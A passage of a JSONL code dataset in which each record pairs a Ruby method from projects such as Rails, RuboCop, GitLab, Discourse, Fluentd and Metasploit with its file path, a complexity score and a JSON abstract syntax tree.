end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cast_value_on_write\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hstore\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bool\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bool\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"tags_before_type_cast\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bool\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"str\",\"children\":[\"5\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"tags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bool\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"number\"]},{\"type\":\"str\",\"children\":[\"5\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"reload\"]},\"tags\"]}]}]}]}","id":"8cc7e9a5-9af1-421c-b062-0d433becc412"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_obsoletion/rule.rb","start_line":30,"raw_source":"def to_sentence(collection, connector: 'and')\n        return collection.first if collection.size == 1\n\n        [collection[0..-2].join(', '), collection[-1]].join(\" #{connector} \")\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_sentence\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"kwoptarg\",\"children\":[\"connector\",{\"type\":\"str\",\"children\":[\"and\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"first\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]}]},\"join\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connector\"]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"93f745ee-c03f-4c97-89c1-a08b5423c062"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/compatibility_test.rb","start_line":149,"raw_source":"def migrate(x)\n            create_table :more_testings do |t|\n              t.timestamps\n            end\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"more_testings\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}","id":"f9c6c56d-d81d-499d-abf3-68648709adb3"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/mapper.rb","start_line":1378,"raw_source":"def collection_name\n            singular == plural ? \"#{plural}_index\" : plural\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"collection_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"singular\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"plural\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plural\"]}]},{\"type\":\"str\",\"children\":[\"_index\"]}]},{\"type\":\"send\",\"children\":[null,\"plural\"]}]}]}","id":"29ad454a-ddf7-427b-8843-9c946d8aa243"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_syslog.rb","start_line":230,"raw_source":"def test_msg_size_with_include_source_host\n    d = create_driver([ipv4_config, 'include_source_host true'].join(\"\\n\"))\n    tests = create_test_case\n\n    host = nil\n    d.run(expect_emits: 2) do\n      u = UDPSocket.new\n      u.connect('127.0.0.1', @port)\n      host = u.peeraddr[2]\n      tests.each {|test|\n        u.send(test['msg'], 0)\n      }\n    end\n\n    assert(d.events.size > 0)\n    compare_test_result(d.events, tests, {host: host})\n  end","complexity_score":32.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_msg_size_with_include_source_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ipv4_config\"]},{\"type\":\"str\",\"children\":[\"include_source_host true\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tests\",{\"type\":\"send\",\"children\":[null,\"create_test_case\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_emits\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"u\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UDPSocket\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"connect\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]},{\"type\":\"ivar\",\"children\":[\"@port\"]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"peeraddr\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tests\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test\"]},\"[]\",{\"type\":\"str\",\"children\":[\"msg\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"compare_test_result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},{\"type\":\"lvar\",\"children\":[\"tests\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]}]}","id":"8fb371dd-4d7d-45a8-8d24-b4e50ab15c62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/resource_usage_limit/middleware.rb","start_line":25,"raw_source":"def track_resource_usage\n          return unless Feature.enabled?(:enable_sidekiq_resource_usage_tracking, :current_request, type: :ops)\n\n          limiter = Gitlab::ResourceUsageLimiter.new(worker_name: worker_name)\n          limiter.exceeded_limits\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"track_resource_usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"enable_sidekiq_resource_usage_tracking\"]},{\"type\":\"sym\",\"children\":[\"current_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"limiter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ResourceUsageLimiter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker_name\"]},{\"type\":\"send\",\"children\":[null,\"worker_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limiter\"]},\"exceeded_limits\"]}]}]}","id":"72c658f0-8b42-414f-9237-634120a6d935"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/multiline_expression_indentation.rb","start_line":34,"raw_source":"def left_hand_side(lhs)\n        while lhs.parent&.call_type? && lhs.parent.loc.dot && !lhs.parent.assignment_method?\n          lhs = lhs.parent\n        end\n        lhs\n      end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"left_hand_side\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lhs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs\"]},\"parent\"]},\"call_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs\"]},\"parent\"]},\"loc\"]},\"dot\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs\"]},\"parent\"]},\"assignment_method?\"]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhs\"]},\"parent\"]}]}]},{\"type\":\"lvar\",\"children\":[\"lhs\"]}]}]}","id":"e4bc365d-4926-4efa-8d43-e512a27f77db"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_bot/chat_streamer.rb","start_line":91,"raw_source":"def done\n        @queue << :done\n        @worker_thread.join\n        ChatSDK::Message.stop_stream(message_id: @reply.id, guardian: @guardian) if @reply\n        @reply\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"done\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"<<\",{\"type\":\"sym\",\"children\":[\"done\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker_thread\"]},\"join\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reply\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatSDK\"]},\"Message\"]},\"stop_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reply\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"guardian\"]},{\"type\":\"ivar\",\"children\":[\"@guardian\"]}]}]}]},null]},{\"type\":\"ivar\",\"children\":[\"@reply\"]}]}]}","id":"472c12c5-ee14-453b-aa13-2c7795283fe4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/graphql/resolvers/namespaces/work_items_resolver_spec.rb","start_line":11,"raw_source":"def resolve_items(obj, args = {})\n    resolve(described_class, obj: obj, args: args, ctx: { current_user: current_user }, arg_style: :internal)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_items\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve\",{\"type\":\"send\",\"children\":[null,\"described_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"obj\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arg_style\"]},{\"type\":\"sym\",\"children\":[\"internal\"]}]}]}]}]}","id":"10c90058-d09c-4b18-8641-002f8f30f705"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/binary_operator_with_identical_operands.rb","start_line":50,"raw_source":"def on_send(node)\n          return unless node.binary_operation?\n          return unless node.receiver == node.first_argument\n\n          add_offense(node, message: format(MSG, op: node.method_name))\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"binary_operation?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"op\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"method_name\"]}]}]}]}]}]}]}]}]}","id":"9778d7e4-878a-4f52-96aa-2e2fd20ea30e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/validators/unique_among_validator.rb","start_line":4,"raw_source":"def validate_each(record, attribute, value)\n    old_errors = []\n    record.errors.each { |error| old_errors << error if error.attribute == attribute }\n\n    # look for any duplicates at all\n    super\n\n    new_errors = []\n    record.errors.each { |error| new_errors << error if error.attribute == attribute }\n\n    # do nothing further unless there were some duplicates.\n    if new_errors.size - old_errors.size != 0\n      # now look only in the collection we care about.\n      dupes = options[:collection].call(record).where(\"lower(#{attribute}) = ?\", value.downcase)\n      dupes = dupes.where.not(id: record.id) if record.persisted?\n\n      # pop off the error, if it was a false positive\n      if !dupes.exists?\n        record.errors.delete(attribute)\n        old_errors.each { |error| record.errors.add(error.attribute, error.type, **error.options) }\n      end\n    end\n  end","complexity_score":58.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_each\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_errors\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},null]}]},{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"new_errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_errors\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"error\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_errors\"]},\"size\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_errors\"]},\"size\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dupes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"collection\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"lower(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\") = ?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"downcase\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"persisted?\"]},{\"type\":\"lvasgn\",\"children\":[\"dupes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dupes\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dupes\"]},\"exists?\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"errors\"]},\"add\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"attribute\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"options\"]}]}]}]}]}]},null]}]},null]}]}]}","id":"7da8d6d2-b31b-4e99-9bee-654dcff57ad3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/resource_generator_test.rb","start_line":64,"raw_source":"def test_resource_routes_are_added\n    run_generator\n\n    assert_file \"config/routes.rb\" do |route|\n      assert_match(/resources :accounts$/, route)\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resource_routes_are_added\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"route\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"resources :accounts$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"route\"]}]}]}]}]}","id":"88db826a-7665-4e06-8e28-a6e2cdc6112f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250326204934_remove_broken_fk_for_p_ci_stages_and_p_ci_pipelines.rb","start_line":18,"raw_source":"def up\n    return unless can_execute_on?(:ci_pipelines, :ci_stages)\n\n    with_lock_retries do\n      remove_foreign_key_if_exists(\n        SOURCE_TABLE_NAME,\n        TARGET_TABLE_NAME,\n        name: FK_NAME,\n        reverse_lock_order: true\n      )\n    end\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_execute_on?\",{\"type\":\"sym\",\"children\":[\"ci_pipelines\"]},{\"type\":\"sym\",\"children\":[\"ci_stages\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"const\",\"children\":[null,\"SOURCE_TABLE_NAME\"]},{\"type\":\"const\",\"children\":[null,\"TARGET_TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FK_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"2d9b918c-6f1e-4f5a-9a53-1baf77266018"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/auxiliary/test/report_auth_info.rb","start_line":338,"raw_source":"def test_ssh_enumusers\n    mod = framework.auxiliary.create('scanner/ssh/ssh_enumusers')\n    mod.do_report(FAKE_IP, FAKE_USER, FAKE_PORT)\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ssh_enumusers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"auxiliary\"]},\"create\",{\"type\":\"str\",\"children\":[\"scanner/ssh/ssh_enumusers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"do_report\",{\"type\":\"const\",\"children\":[null,\"FAKE_IP\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_USER\"]},{\"type\":\"const\",\"children\":[null,\"FAKE_PORT\"]}]}]}]}","id":"fa24bb93-0ba7-4bdb-8abf-db1bc10941df"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/sidebar_header_dropdown.rb","start_line":26,"raw_source":"def click_categories_header_button\n        page.click_button(\n          I18n.t(\"js.sidebar.sections.categories.header_action_title\"),\n          class: \"sidebar-section-header-button\",\n        )\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"click_categories_header_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"click_button\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.sidebar.sections.categories.header_action_title\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"sidebar-section-header-button\"]}]}]}]}]}","id":"974f7d9d-cc94-491c-9b6f-5f7671f45275"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace.rb","start_line":171,"raw_source":"def unsafe_write!(mode, &blk)\n        stream = Gitlab::Ci::Trace::Stream.new do\n          if archived?\n            raise AlreadyArchivedError, 'Could not write to the archived trace'\n          elsif current_path\n            File.open(current_path, mode)\n          elsif Gitlab::CurrentSettings.ci_job_live_trace_enabled?\n            Gitlab::Ci::Trace::ChunkedIO.new(job)\n          else\n            File.open(ensure_path, mode)\n          end\n        end\n\n        yield(stream).tap do\n          job.touch if job.needs_touch?\n        end\n      ensure\n        stream&.close\n      end","complexity_score":32.9,"ast_json":"{\"type\":\"def\",\"children\":[\"unsafe_write!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mode\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Trace\"]},\"Stream\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archived?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AlreadyArchivedError\"]},{\"type\":\"str\",\"children\":[\"Could not write to the archived 